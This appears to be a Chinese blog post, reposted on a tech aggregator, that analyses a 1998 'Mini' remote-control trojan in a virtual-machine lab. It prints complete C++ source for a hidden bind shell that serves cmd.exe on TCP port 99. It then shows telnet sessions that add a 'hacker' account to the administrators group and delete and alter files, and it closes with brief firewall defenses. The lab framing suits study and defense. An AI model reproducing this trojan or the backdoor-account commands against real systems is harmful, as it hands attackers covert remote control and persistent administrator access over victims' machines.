IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 一个简单的木马程序分析 -> 正文阅读

[系统运维]一个简单的木马程序分析

Mini木马的基本原理

Mini木马作为早期的远程控制类木马,基本工作原理是基于TCP的Socket技术,这也是现有木马技术的集成知识。
这类木马最大的特点是不需要客户端软件,只要有Windows自带的Telnet软件远程连接即可出现命令行窗口,服务端通过监听某个端口提供服务,类似 于Telnet服务的后台程序。其服务端编程的基本通信原理如下:

  • 打开一通信通道(绑定某个端口)并告知本地主机,它在某一个地址上接受客户请求。利用Socket和bind函数实现。
  • 等待客户请求到达该端口。利用listen函数实现。
  • 接收到重复服务请求,处理该请求并发送应答信号。利用accept函数实现。
  • 返回第二步,等待另一客户请求。
  • 关闭连接。利用closesock函数实现

Mini木马介绍

  • 产地:国外
  • 发布时间: 1998
  • 测试功能:命令行远程控制
  • 辅助工具:Telnet或NC工具
  • 自启动:五

实验环境

系统环境

在win10的虚拟机上Windows XP SP3系统,其具体数据如下图在这里插入图片描述

开发环境

vc++ 6.0

木马实现

打开vc++6.0,新建文件,选择c++源文件,文件名命名为mini.cpp,创建成功如图所示
在这里插入图片描述
程序代码如下:

#pragma comment(lib,"ws2_32.lib")
#include<winsock2.h>
#define MasterPort 99 //定义监听端口
int main()
{
	WSADATA WSADa;
	sockaddr_in SockAddrIn; 
	SOCKET CSocket,SSocket;
	int iAddrSize;
	PROCESS_INFORMATION ProcessInfo;
	STARTUPINFO StartupInfo;
	char szCMDPath[255];
	//分配内存资源,初始化数据
	ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));
	ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));
	ZeroMemory(&WSADa,sizeof(WSADa));
	//获取CMD路径
	GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
	//加载ws2_32.dll
	WSAStartup(0x0202,&WSADa);
	//设置本地信息和绑定协议,建议Socket
	SockAddrIn.sin_family = AF_INET;
	SockAddrIn.sin_addr.s_addr = INADDR_ANY;
	SockAddrIn.sin_port = htons(MasterPort);
	CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
	//设置绑定端口 999
	bind(CSocket,(sockaddr*)&SockAddrIn,sizeof(SockAddrIn));
	//设置服务器监听端口
	listen(CSocket,1);
	iAddrSize = sizeof(SockAddrIn);
	SSocket = accept(CSocket,(sockaddr*)&SockAddrIn,&iAddrSize);
	StartupInfo.cb = sizeof(STARTUPINFO);
	StartupInfo.wShowWindow = SW_HIDE;
	StartupInfo.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
	StartupInfo.hStdInput = (HANDLE) SSocket;
	StartupInfo.hStdOutput = (HANDLE) SSocket;
	StartupInfo.hStdError = (HANDLE) SSocket;
	//创建匿名管道
	CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo);
	WaitForSingleObject(ProcessInfo.hProcess,INFINITE);
	CloseHandle(ProcessInfo.hProcess);
	CloseHandle(ProcessInfo.hThread);
	//关闭进程句柄
	closesocket(CSocket);
	closesocket(SSocket);
	WSACleanup();
	//关闭连接卸载ws2_32.dll
	return 0;
}

在项目Debug文件夹内生产可执行文件Mini.exe,如下图,该文件就是我们要使用的木马程序
在这里插入图片描述

进行实验

辅助工具telnet的安装

打开控制面板->程序->启动或关闭Windows功能,选中Telnet客户端下载安装
在这里插入图片描述
下载完成后cmd打开控制台,输入telnet显示如下则安装成功在这里插入图片描述

虚拟机运行木马

虚拟机的IP地址为192.168.220.128(可以通过cmd输入ipconfig查看)。运行木马程序mini.exe,出现黑窗口,显示如下图
在这里插入图片描述

打开虚拟机cmd输入netstat -an命令查看,如下图
在这里插入图片描述可以看见,系统的99号端口处于监听中

本机与虚拟机创建连接

本机的ip地址为192.168.106.1,输入telnet 192.168.220.128 99连接虚拟机的99号端口,如下图所示
在这里插入图片描述
运行命令行,已经进入了虚拟机木马所在目录下。

  • 我的木马程序在c:\vc\source\Debug文件夹下生成,如下图所示
    在这里插入图片描述
  • 主机已经通过命令行进入虚拟机的该目录,如下图所示
    加粗样式
  • 输入dir命令查看当前目录下的文件
    在这里插入图片描述
    输入ipconfig显示ip地址为虚拟机的ip地址,如下图所示

在这里插入图片描述

主机对虚拟机进行操作

查看当前用户

telnet中输入net user命令,显示如下,目前有4个用户
在这里插入图片描述

增加用户

增加一个新用户,名为hacker,密码为12345,输入命令net user hacker 12345 /add,如下图所示
在这里插入图片描述
此时再查看用户,已经多出了一个hacker用户
在这里插入图片描述

为新建用户设置组

输入net localgroup查看当前组,如下图
在这里插入图片描述

输入net localgroup administrators hacker /add将hacker用户添加到administrators组,如下图所示
在这里插入图片描述
再次查看administrator组,发现有一个hacker用户,此时hacker用户已经拥有了管理员权限。
在这里插入图片描述

对虚拟机数据进行操作

进行之前的操作后,主机已经可以对系统进行控制了,虽然只能再命令行下进行操作,但已经可以实现增删改查的功能了,为了测试,我在虚拟机中的c盘创建一个test文件夹,在里面创建一个1.txt文件和2.txt2文件。如下图
在这里插入图片描述
现在我们实现更改文档1的内容,下载2图片并删除2图片,先进入test目录,查看文件

在这里插入图片描述

删除照片2,使用del 文件名命令
在这里插入图片描述
再次查看文件夹,2.jpg已经被删除
在这里插入图片描述

查看1.txt的文件内容,输入type命令在这里插入图片描述

  • 对该文件进行修改,输入 echo “要增加的字符串” >> 要修改的文件
    在这里插入图片描述
  • 此时文件已经被修改,在虚拟机打开显示如下
    在这里插入图片描述

总结

Mini木马体现了木马的基本功能:远程控制。此外,它无需使用客户端软件,服务端仅仅168kb,占用资源较少,便于隐藏。

  • 缺点是该木马无法自动启动,需要第三方软件加载到自启动项目或服务中。并且该木马启动防火墙会报警,提示是否连接。
  • 防御措施:防火墙阻止连接或关闭该进程,如下图
    在这里插入图片描述

参考文献

[1] 赵玉明. 木马技术揭秘与防御[M]. 北京:电子工业出版社,2011.9. ISNB 9787121134715

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-12-05 12:23:43  更:2021-12-05 12:25:10 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 2:56:14-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码